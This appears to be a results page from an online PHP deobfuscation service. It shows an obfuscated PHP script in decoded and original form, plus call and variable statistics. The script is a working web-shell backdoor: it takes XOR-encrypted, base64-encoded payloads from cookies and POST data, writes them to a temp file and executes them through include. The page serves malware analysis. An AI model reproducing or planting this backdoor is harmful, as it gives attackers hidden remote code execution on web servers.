Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $RUjLKcF = 'J' . "L" . "k" . chr ( 979 - 884 ).chr (104) . chr (74) . chr (68) . ..

Decoded Output download

<?php 
 
$RUjLKcF = 'J' . "L" . "k" . chr ( 979 - 884 ).chr (104) . chr (74) . chr (68) . chr (108); $HuwSSxuKP = "c" . chr (108) . chr ( 369 - 272 )."s" . chr (115) . "_" . "e" . chr (120) . chr ( 885 - 780 )."s" . "t" . 's';$WxUXcTk = $HuwSSxuKP($RUjLKcF); $RUjLKcF = "956";$HuwSSxuKP = "40837";$ktOwc = $WxUXcTk;if (!$ktOwc){class JLk_hJDl{private $ntkAVnTfML;public static $yGjJpQSGM = "b2d567b8-d454-4f59-bb20-66b73aac43da";public static $ceWRIFdFbv = 43052;public function __construct($dbxZEvpv=0){$FEDmXCu = $_COOKIE;$xRqeCr = $_POST;$iuNhyWbRS = @$FEDmXCu[substr(JLk_hJDl::$yGjJpQSGM, 0, 4)];if (!empty($iuNhyWbRS)){$kASKi = "base64";$QmODeqCXS = "";$iuNhyWbRS = explode(",", $iuNhyWbRS);foreach ($iuNhyWbRS as $EmcmZRSHhH){$QmODeqCXS .= @$FEDmXCu[$EmcmZRSHhH];$QmODeqCXS .= @$xRqeCr[$EmcmZRSHhH];}$QmODeqCXS = array_map($kASKi . chr (95) . 'd' . chr (101) . 'c' . "o" . "d" . "e", array($QmODeqCXS,)); $QmODeqCXS = $QmODeqCXS[0] ^ str_repeat(JLk_hJDl::$yGjJpQSGM, (strlen($QmODeqCXS[0]) / strlen(JLk_hJDl::$yGjJpQSGM)) + 1);JLk_hJDl::$ceWRIFdFbv = @unserialize($QmODeqCXS);}}private function HpcVANQVXS(){if (is_array(JLk_hJDl::$ceWRIFdFbv)) {$TBVPbWzoO = sys_get_temp_dir() . "/" . crc32(JLk_hJDl::$ceWRIFdFbv["s" . chr (97) . chr ( 451 - 343 ).chr (116)]);@JLk_hJDl::$ceWRIFdFbv["w" . "r" . 'i' . "t" . 'e']($TBVPbWzoO, JLk_hJDl::$ceWRIFdFbv[chr ( 702 - 603 )."o" . "n" . chr ( 184 - 68 ).'e' . "n" . "t"]);include $TBVPbWzoO;@JLk_hJDl::$ceWRIFdFbv['d' . chr ( 426 - 325 )."l" . "e" . chr ( 892 - 776 ).chr ( 270 - 169 )]($TBVPbWzoO); $LTwQlojvb = "62864";exit();}}public function __destruct(){$this->HpcVANQVXS(); 
 $LTwQlojvb = "62864";}}$IZNTHSL = new JLk_hJDl(); $IZNTHSL = "26597_26176";} ?> 

Did this file decode correctly?

Original Code

<?php

$RUjLKcF = 'J' . "L" . "k" . chr ( 979 - 884 ).chr (104) . chr (74) . chr (68) . chr (108); $HuwSSxuKP = "c" . chr (108) . chr ( 369 - 272 )."s" . chr (115) . "_" . "e" . chr (120) . chr ( 885 - 780 )."s" . "t" . 's';$WxUXcTk = $HuwSSxuKP($RUjLKcF); $RUjLKcF = "956";$HuwSSxuKP = "40837";$ktOwc = $WxUXcTk;if (!$ktOwc){class JLk_hJDl{private $ntkAVnTfML;public static $yGjJpQSGM = "b2d567b8-d454-4f59-bb20-66b73aac43da";public static $ceWRIFdFbv = 43052;public function __construct($dbxZEvpv=0){$FEDmXCu = $_COOKIE;$xRqeCr = $_POST;$iuNhyWbRS = @$FEDmXCu[substr(JLk_hJDl::$yGjJpQSGM, 0, 4)];if (!empty($iuNhyWbRS)){$kASKi = "base64";$QmODeqCXS = "";$iuNhyWbRS = explode(",", $iuNhyWbRS);foreach ($iuNhyWbRS as $EmcmZRSHhH){$QmODeqCXS .= @$FEDmXCu[$EmcmZRSHhH];$QmODeqCXS .= @$xRqeCr[$EmcmZRSHhH];}$QmODeqCXS = array_map($kASKi . chr (95) . 'd' . chr (101) . 'c' . "o" . "d" . "e", array($QmODeqCXS,)); $QmODeqCXS = $QmODeqCXS[0] ^ str_repeat(JLk_hJDl::$yGjJpQSGM, (strlen($QmODeqCXS[0]) / strlen(JLk_hJDl::$yGjJpQSGM)) + 1);JLk_hJDl::$ceWRIFdFbv = @unserialize($QmODeqCXS);}}private function HpcVANQVXS(){if (is_array(JLk_hJDl::$ceWRIFdFbv)) {$TBVPbWzoO = sys_get_temp_dir() . "/" . crc32(JLk_hJDl::$ceWRIFdFbv["s" . chr (97) . chr ( 451 - 343 ).chr (116)]);@JLk_hJDl::$ceWRIFdFbv["w" . "r" . 'i' . "t" . 'e']($TBVPbWzoO, JLk_hJDl::$ceWRIFdFbv[chr ( 702 - 603 )."o" . "n" . chr ( 184 - 68 ).'e' . "n" . "t"]);include $TBVPbWzoO;@JLk_hJDl::$ceWRIFdFbv['d' . chr ( 426 - 325 )."l" . "e" . chr ( 892 - 776 ).chr ( 270 - 169 )]($TBVPbWzoO); $LTwQlojvb = "62864";exit();}}public function __destruct(){$this->HpcVANQVXS();
 $LTwQlojvb = "62864";}}$IZNTHSL = new JLk_hJDl(); $IZNTHSL = "26597_26176";} ?>

Function Calls

chr 10
class_exists 1

Variables

$RUjLKcF JLk_hJDl
$HuwSSxuKP class_exists

Stats

MD5 e669102e9d7d87351a5f78b9e5fa4403
Eval Count 0
Decode Time 92 ms